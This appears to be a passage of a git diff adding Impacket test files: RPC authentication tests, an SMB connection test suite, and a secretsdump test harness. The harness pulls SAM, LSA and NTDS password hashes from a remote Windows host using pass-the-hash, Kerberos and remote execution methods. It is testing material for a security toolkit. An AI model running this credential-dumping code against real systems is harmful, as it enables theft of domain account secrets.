+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_dceFragmentationKerberosPacketPrivacy(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,
+                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_WINNTPacketIntegrity(self):
+        dce = self.connectDCE(self.username, self.password, self.domain, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,
+                              dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_KerberosPacketIntegrity(self):
+        dce = self.connectDCE(self.username, self.password, self.domain, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_HashesWINNTPacketIntegrity(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_HashesKerberosPacketIntegrity(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_Aes128KerberosPacketIntegrity(self):
+        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128,
+                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,
+                              dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_Aes256KerberosPacketIntegrity(self):
+        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256,
+                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,
+                              dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_packetAnonWINNTPacketIntegrity(self):
+        # With SMB Transport this will fail with STATUS_ACCESS_DENIED
+        try:
+            dce = self.connectDCE('', '', '', auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,dceAuth=False, doKerberos=False)
+            request = epm.ept_lookup()
+            request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+            request['object'] = NULL
+            request['Ifid'] = NULL
+            request['vers_option'] = epm.RPC_C_VERS_ALL
+            request['max_ents'] = 499
+            dce.request(request)
+            dce.disconnect()
+        except Exception as e:
+            if not (str(e).find('STATUS_ACCESS_DENIED') >=0 and self.stringBinding.find('ncacn_np') >=0):
+                raise
+
+    def test_WINNTPacketPrivacy(self):
+        dce = self.connectDCE(self.username, self.password, self.domain, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+                              dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.request(request)
+        dce.disconnect()
+
+    def test_KerberosPacketPrivacy(self):
+        dce = self.connectDCE(self.username, self.password, self.domain, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_HashesWINNTPacketPrivacy(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+                              dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_HashesKerberosPacketPrivacy(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_Aes128KerberosPacketPrivacy(self):
+        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128,
+                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+                              dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_Aes256KerberosPacketPrivacy(self):
+        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256,
+                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+                              dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        resp = dce.request(request)
+        resp.dump()
+        dce.disconnect()
+
+    def test_AnonWINNTPacketPrivacy(self):
+        # With SMB Transport this will fail with STATUS_ACCESS_DENIED
+        try:
+            dce = self.connectDCE('', '', '', auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=False, doKerberos=False)
+            request = epm.ept_lookup()
+            request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+            request['object'] = NULL
+            request['Ifid'] = NULL
+            request['vers_option'] = epm.RPC_C_VERS_ALL
+            request['max_ents'] = 499
+            dce.request(request)
+            dce.disconnect()
+        except Exception as e:
+            if not (str(e).find('STATUS_ACCESS_DENIED') >= 0 and self.stringBinding.find('ncacn_np') >= 0):
+                raise
+
+
+@pytest.mark.remote
+class RPCRTTestsTCPTransport(RPCRTTests, unittest.TestCase):
+
+    def setUp(self):
+        super(RPCRTTestsTCPTransport, self).setUp()
+        self.set_transport_config(aes_keys=True)
+        self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine
+
+
+@pytest.mark.remote
+class RPCRTTestsSMBTransport(RPCRTTests, unittest.TestCase):
+    def setUp(self):
+        # Put specific configuration for target machine with SMB_002
+        super(RPCRTTestsSMBTransport, self).setUp()
+        self.set_transport_config(aes_keys=True)
+        self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_secretsdump.py b/tests/SMB_RPC/test_secretsdump.py
new file mode 100644
index 0000000..35d2d50
--- /dev/null
+++ b/tests/SMB_RPC/test_secretsdump.py
@@ -0,0 +1,312 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import os
+import logging
+import pytest
+import unittest
+from tests import RemoteTestCase
+
+from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
+from impacket.smbconnection import SMBConnection
+
+
+def _print_helper(*args, **kwargs):
+    try:
+        print(args[-1])
+    except UnicodeError:
+        pass
+
+
+class DumpSecrets:
+
+    def __init__(self, remoteName, username='', password='', domain='', options=None):
+        self.__useVSSMethod = options.use_vss
+        self.__remoteName = remoteName
+        self.__remoteHost = options.target_ip
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aes_key_128 = options.aes_key_128
+        self.__smbConnection = None
+        self.__remoteOps = None
+        self.__SAMHashes = None
+        self.__NTDSHashes = None
+        self.__LSASecrets = None
+        self.__systemHive = options.system
+        self.__bootkey = options.bootkey
+        self.__securityHive = options.security
+        self.__samHive = options.sam
+        self.__ntdsFile = options.ntds
+        self.__history = options.history
+        self.__noLMHash = True
+        self.__isRemote = True
+        self.__outputFileName = options.outputfile
+        self.__doKerberos = options.k
+        self.__justDC = options.just_dc
+        self.__justDCNTLM = options.just_dc_ntlm
+        self.__justUser = options.just_dc_user
+        self.__pwdLastSet = options.pwd_last_set
+        self.__printUserStatus= options.user_status
+        self.__resumeFileName = options.resumefile
+        self.__canProcessSAMLSA = True
+        self.__kdcHost = options.dc_ip
+        self.__options = options
+
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    def connect(self):
+        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
+        if self.__doKerberos:
+            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                               self.__nthash, self.__aes_key_128, self.__kdcHost)
+        else:
+            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+    def dump(self):
+        try:
+            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
+                self.__isRemote = False
+                self.__useVSSMethod = True
+                if self.__systemHive:
+                    localOperations = LocalOperations(self.__systemHive)
+                    bootKey = localOperations.getBootKey()
+                    if self.__ntdsFile is not None:
+                    # Let's grab target's configuration about LM Hashes storage
+                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
+                else:
+                    import binascii
+                    bootKey = binascii.unhexlify(self.__bootkey)
+
+            else:
+                self.__isRemote = True
+                bootKey = None
+                try:
+                    try:
+                        self.connect()
+                    except Exception as e:
+                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
+                            # SMBConnection failed. That might be because there was no way to log into the
+                            # target system. We just have a last resort. Hope we have tickets cached and that they
+                            # will work
+                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
+                            pass
+                        else:
+                            raise
+
+                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
+                    self.__remoteOps.setExecMethod(self.__options.exec_method)
+                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
+                        self.__remoteOps.enableRegistry()
+                        bootKey             = self.__remoteOps.getBootKey()
+                        # Let's check whether target system stores LM Hashes
+                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
+                except Exception as e:
+                    self.__canProcessSAMLSA = False
+                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
+                        and self.__doKerberos is True:
+                        # Giving some hints here when SPN target name validation is set to something different to Off
+                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
+                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
+                    else:
+                        logging.error('RemoteOperations failed: %s' % str(e))
+
+            # If RemoteOperations succeeded, then we can extract SAM and LSA
+            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
+                try:
+                    if self.__isRemote is True:
+                        SAMFileName         = self.__remoteOps.saveSAM()
+                    else:
+                        SAMFileName         = self.__samHive
+
+                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
+                    self.__SAMHashes.dump()
+                    if self.__outputFileName is not None:
+                        self.__SAMHashes.export(self.__outputFileName)
+                except Exception as e:
+                    logging.error('SAM hashes extraction failed: %s' % str(e))
+
+                try:
+                    if self.__isRemote is True:
+                        SECURITYFileName = self.__remoteOps.saveSECURITY()
+                    else:
+                        SECURITYFileName = self.__securityHive
+
+                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
+                                                   isRemote=self.__isRemote, history=self.__history)
+                    self.__LSASecrets.dumpCachedHashes()
+                    if self.__outputFileName is not None:
+                        self.__LSASecrets.exportCached(self.__outputFileName)
+                    self.__LSASecrets.dumpSecrets()
+                    if self.__outputFileName is not None:
+                        self.__LSASecrets.exportSecrets(self.__outputFileName)
+                except Exception as e:
+                    if logging.getLogger().level == logging.DEBUG:
+                        import traceback
+                        traceback.print_exc()
+                    logging.error('LSA hashes extraction failed: %s' % str(e))
+
+            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
+            if self.__isRemote is True:
+                if self.__useVSSMethod and self.__remoteOps is not None:
+                    NTDSFileName = self.__remoteOps.saveNTDS()
+                else:
+                    NTDSFileName = None
+            else:
+                NTDSFileName = self.__ntdsFile
+
+            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
+                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
+                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
+                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
+                                           outputFileName=self.__outputFileName, justUser=self.__justUser,
+                                           printUserStatus= self.__printUserStatus)
+            try:
+                self.__NTDSHashes.dump()
+            except Exception as e:
+                if logging.getLogger().level == logging.DEBUG:
+                    import traceback
+                    traceback.print_exc()
+                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
+                    # We don't store the resume file if this error happened, since this error is related to lack
+                    # of enough privileges to access DRSUAPI.
+                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
+                    if resumeFile is not None:
+                        os.unlink(resumeFile)
+                logging.error(e)
+                if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
+                    logging.info("You just got that error because there might be some duplicates of the same name. "
+                                 "Try specifying the domain name for the user as well. It is important to specify it "
+                                 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
+                elif self.__useVSSMethod is False:
+                    logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
+            self.cleanup()
+        except (Exception, KeyboardInterrupt) as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.error(e)
+            if self.__NTDSHashes is not None:
+                if isinstance(e, KeyboardInterrupt):
+                    while True:
+                        answer =  input("Delete resume session file? [y/N] ")
+                        if answer.upper() == '':
+                            answer = 'N'
+                            break
+                        elif answer.upper() == 'Y':
+                            answer = 'Y'
+                            break
+                        elif answer.upper() == 'N':
+                            answer = 'N'
+                            break
+                    if answer == 'Y':
+                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
+                        if resumeFile is not None:
+                            os.unlink(resumeFile)
+            try:
+                self.cleanup()
+            except Exception:
+                pass
+
+    def cleanup(self):
+        try:
+            logging.info('Cleaning up... ')
+            if self.__remoteOps:
+                self.__remoteOps.finish()
+            if self.__SAMHashes:
+                self.__SAMHashes.finish()
+            if self.__LSASecrets:
+                self.__LSASecrets.finish()
+            if self.__NTDSHashes:
+                self.__NTDSHashes.finish()
+        except Exception as e:
+            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0:
+                raise
+
+class Options(object):
+    aes_key_128 = None
+    bootkey=None
+    dc_ip=None
+    debug=False
+    exec_method='smbexec'
+    hashes=None
+    history=False
+    just_dc=False
+    just_dc_ntlm=False
+    just_dc_user=None
+    k=False
+    no_pass=False
+    ntds=None
+    outputfile=None
+    pwd_last_set=False
+    resumefile=None
+    sam=None
+    security=None
+    system=None
+    target=''
+    target_ip=''
+    use_vss=False
+    user_status=False
+
+
+class SecretsDumpTests(RemoteTestCase):
+
+    def test_VSS_History(self):
+        options = Options()
+        options.target_ip = self.machine
+        options.use_vss = True
+        options.history = True
+        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
+        dumper.dump()
+
+    def aaaa_VSS_WMI(self):
+        options = Options()
+        options.target_ip = self.machine
+        options.use_vss = True
+        options.exec_method='wmiexec'
+        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
+        dumper.dump()
+
+    def test_DRSUAPI_DC_USER(self):
+        options = Options()
+        options.target_ip = self.machine
+        options.use_vss = False
+        options.just_dc = True
+        options.just_dc_user = '%s/%s' % (self.domain.split('.')[0], 'Administrator')
+        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
+        dumper.dump()
+
+    def aaaa_VSS_MMC(self):
+        options = Options()
+        options.target_ip = self.machine
+        options.use_vss = True
+        options.exec_method='mmcexec'
+        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
+        dumper.dump()
+
+    def test_DRSUAPI(self):
+        options = Options()
+        options.target_ip = self.machine
+        options.use_vss = False
+        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
+        dumper.dump()
+
+
+@pytest.mark.remote
+class Tests(SecretsDumpTests, unittest.TestCase):
+
+    def setUp(self):
+        super(Tests, self).setUp()
+        self.set_transport_config(aes_keys=True)
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_smb.py b/tests/SMB_RPC/test_smb.py
new file mode 100644
index 0000000..d116096
--- /dev/null
+++ b/tests/SMB_RPC/test_smb.py
@@ -0,0 +1,340 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import os
+import errno
+import socket
+import select
+
+import pytest
+import unittest
+from tests import RemoteTestCase
+
+from impacket.smbconnection import SMBConnection, smb
+from impacket.smb3structs import SMB2_DIALECT_002,SMB2_DIALECT_21, SMB2_DIALECT_30
+from impacket import nt_errors, nmb
+
+# IMPORTANT NOTE:
+# For some reason, under Windows 8, you cannot switch between
+# dialects 002, 2_1 and 3_0 (it will throw STATUS_USER_SESSION_DELETED),
+# but you can with SMB1.
+# So, you can't run all test cases against the same machine.
+# Usually running all the tests against a Windows 7 except SMB3
+# would do the trick.
+# ToDo:
+#   [ ] Add the rest of SMBConnection public methods
+
+
+class SMBTests(RemoteTestCase):
+
+    dialects = None
+
+    def create_connection(self):
+        if self.dialects == smb.SMB_DIALECT:
+            # Only for SMB1 let's do manualNego
+            s = SMBConnection(self.serverName, self.machine, preferredDialect=self.dialects, sess_port=self.sessPort, manualNegotiate=True)
+            s.negotiateSession(self.dialects, flags2=self.flags2)
+        else:
+            s = SMBConnection(self.serverName, self.machine, preferredDialect=self.dialects, sess_port=self.sessPort)
+        return s
+
+    def test_aliasconnection(self):
+        smb = SMBConnection('*SMBSERVER', self.machine, preferredDialect=self.dialects, sess_port=self.sessPort)
+        smb.login(self.username, self.password, self.domain)
+        smb.listPath(self.share, '*')
+        smb.logoff()
+
+    def test_reconnect(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb.listPath(self.share, '*')
+        smb.logoff()
+        smb.reconnect()
+        smb.listPath(self.share, '*')
+        smb.logoff()
+
+    def test_reconnectKerberosHashes(self):
+        smb = self.create_connection()
+        smb.kerberosLogin(self.username, '', self.domain, self.lmhash, self.nthash, '')
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))
+        UNC = '\\\\%s\\%s' % (self.machine, self.share)
+        smb.connectTree(UNC)
+        smb.logoff()
+        smb.reconnect()
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))
+        UNC = '\\\\%s\\%s' % (self.machine, self.share)
+        smb.connectTree(UNC)
+        smb.logoff()
+
+    def test_connectTree(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb.connectTree(self.share)
+        UNC = '\\\\%s\\%s' % (self.machine, self.share)
+        smb.connectTree(UNC)
+
+    def test_connection(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None))
+        smb.logoff()
+        del(smb)
+        
+    def test_close_connection(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb_connection_socket = smb.getSMBServer().get_socket()
+        self.assertTrue(self.__is_socket_opened(smb_connection_socket))
+        smb.close()
+        self.assertFalse(self.__is_socket_opened(smb_connection_socket))
+        del(smb)
+
+    def test_manualNego(self):
+        smb = self.create_connection()
+        smb.negotiateSession(self.dialects)
+        smb.login(self.username, self.password, self.domain)
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None))
+        smb.logoff()
+        del(smb)
+
+    def test_loginHashes(self):
+        smb = self.create_connection()
+        smb.login(self.username, '', self.domain, self.lmhash, self.nthash)
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))
+        smb.logoff()
+
+    def test_loginKerberosHashes(self):
+        smb = self.create_connection()
+        smb.kerberosLogin(self.username, '', self.domain, self.lmhash, self.nthash, '')
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))
+        UNC = '\\\\%s\\%s' % (self.machine, self.share)
+        smb.connectTree(UNC)
+        smb.logoff()
+
+    def test_loginKerberos(self):
+        smb = self.create_connection()
+        smb.kerberosLogin(self.username, self.password, self.domain, '', '', '')
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None))
+        UNC = '\\\\%s\\%s' % (self.machine, self.share)
+        smb.connectTree(UNC)
+        smb.logoff()
+
+    def test_loginKerberosAES(self):
+        smb = self.create_connection()
+        smb.kerberosLogin(self.username, '', self.domain, '', '', self.aes_key_128)
+        credentials = smb.getCredentials()
+        self.assertEqual(credentials, (self.username, '', self.domain, '', '', self.aes_key_128, None, None))
+        UNC = '\\\\%s\\%s' % (self.machine, self.share)
+        smb.connectTree(UNC)
+        smb.logoff()
+
+    def test_listPath(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb.listPath(self.share, '*')
+        smb.logoff()
+
+    def test_createFile(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        tid = smb.connectTree(self.share)
+        fid = smb.createFile(tid, self.file)
+        smb.closeFile(tid,fid)
+        smb.rename(self.share, self.file, self.file + '.bak')
+        smb.deleteFile(self.share, self.file + '.bak')
+        smb.disconnectTree(tid)
+        smb.logoff()
+        
+    def test_readwriteFile(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        tid = smb.connectTree(self.share)
+        fid = smb.createFile(tid, self.file)
+        smb.writeFile(tid, fid, "A"*65535)
+        data = b''
+        offset = 0
+        remaining = 65535
+        while remaining>0:
+            data += smb.readFile(tid,fid, offset, remaining)
+            remaining = 65535 - len(data)
+        self.assertEqual(len(data), 65535)
+        self.assertEqual(data, b"A" * 65535)
+        smb.closeFile(tid, fid)
+        fid = smb.openFile(tid, self.file)
+        smb.closeFile(tid, fid)
+        smb.deleteFile(self.share, self.file)
+        smb.disconnectTree(tid)
+        
+        smb.logoff()
+         
+    def test_createdeleteDirectory(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb.createDirectory(self.share, self.directory)
+        smb.deleteDirectory(self.share, self.directory)
+        smb.createDirectory(self.share, self.directory)
+        nested_dir = "%s\\%s" %(self.directory, self.directory)
+        smb.createDirectory(self.share, nested_dir)
+        try:
+            smb.deleteDirectory(self.share, self.directory)
+        except Exception as e:
+            if e.error == nt_errors.STATUS_DIRECTORY_NOT_EMPTY:
+                smb.deleteDirectory(self.share, nested_dir)
+                smb.deleteDirectory(self.share, self.directory)
+        smb.logoff()
+ 
+    def test_getData(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb.getDialect()
+        smb.getServerName()
+        smb.getRemoteHost()
+        smb.getServerDomain()
+        smb.getServerOS()
+        smb.doesSupportNTLMv2()
+        smb.isLoginRequired()
+        smb.logoff()
+
+    def test_getServerName(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        serverName = smb.getServerName()
+        self.assertEqual(serverName.upper(), self.serverName.upper())
+        smb.logoff()
+
+    def test_getServerDNSDomainName(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        serverDomain = smb.getServerDNSDomainName()
+        self.assertEqual(serverDomain.upper(), self.domain.upper())
+        smb.logoff()
+
+    def test_getServerDomain(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        serverDomain = smb.getServerDomain()
+        self.assertEqual(serverDomain.upper(), self.domain.upper().split('.')[0])
+        smb.logoff()
+
+    def test_getRemoteHost(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        remoteHost = smb.getRemoteHost()
+        self.assertEqual(remoteHost, self.machine)
+        smb.logoff()
+
+    def test_getDialect(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        dialect = smb.getDialect()
+        self.assertEqual(dialect, self.dialects)
+        smb.logoff()
+
+    def test_uploadDownload(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        f = open(self.upload)
+        smb.putFile(self.share, self.file, f.read)
+        f.close()
+        f = open(self.upload + '2', 'wb+')
+        smb.getFile(self.share, self.file, f.write)
+        f.close()
+        os.unlink(self.upload + '2')
+        smb.deleteFile(self.share, self.file)
+        smb.logoff()
+
+    def test_listShares(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb.listShares()
+        smb.logoff()
+
+    def test_getSessionKey(self):
+        smb = self.create_connection()
+        smb.login(self.username, self.password, self.domain)
+        smb.getSessionKey()
+        smb.logoff()
+        
+    def __is_socket_opened(self, s):
+        # We assume that if socket is selectable, it's open; and if it were not, it's closed.
+        # Note: this method is accurate as long as the file descriptor used for the socket is not re-used
+        is_socket_opened = True 
+        try:
+            select.select([s], [], [], 0)
+        except socket.error as e:
+            if e.errno == errno.EBADF:
+                is_socket_opened = False
+        except ValueError:
+            is_socket_opened = False
+        return is_socket_opened
+
+
+@pytest.mark.remote
+class SMB1Tests(SMBTests, unittest.TestCase):
+
+    def setUp(self):
+        super(SMB1Tests, self).setUp()
+        self.set_transport_config(aes_keys=True)
+        self.share = 'C$'
+        self.file = '/TEST'
+        self.directory = '/BETO'
+        self.upload = 'impacket/nt_errors.py'
+        self.flags2 = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES
+        self.dialects = smb.SMB_DIALECT
+        self.sessPort = nmb.SMB_SESSION_PORT
+
+
+@pytest.mark.remote
+class SMB1TestsNetBIOS(SMB1Tests):
+
+    def setUp(self):
+        super(SMB1TestsNetBIOS, self).setUp()
+        self.sessPort = nmb.NETBIOS_SESSION_PORT
+
+
+@pytest.mark.remote
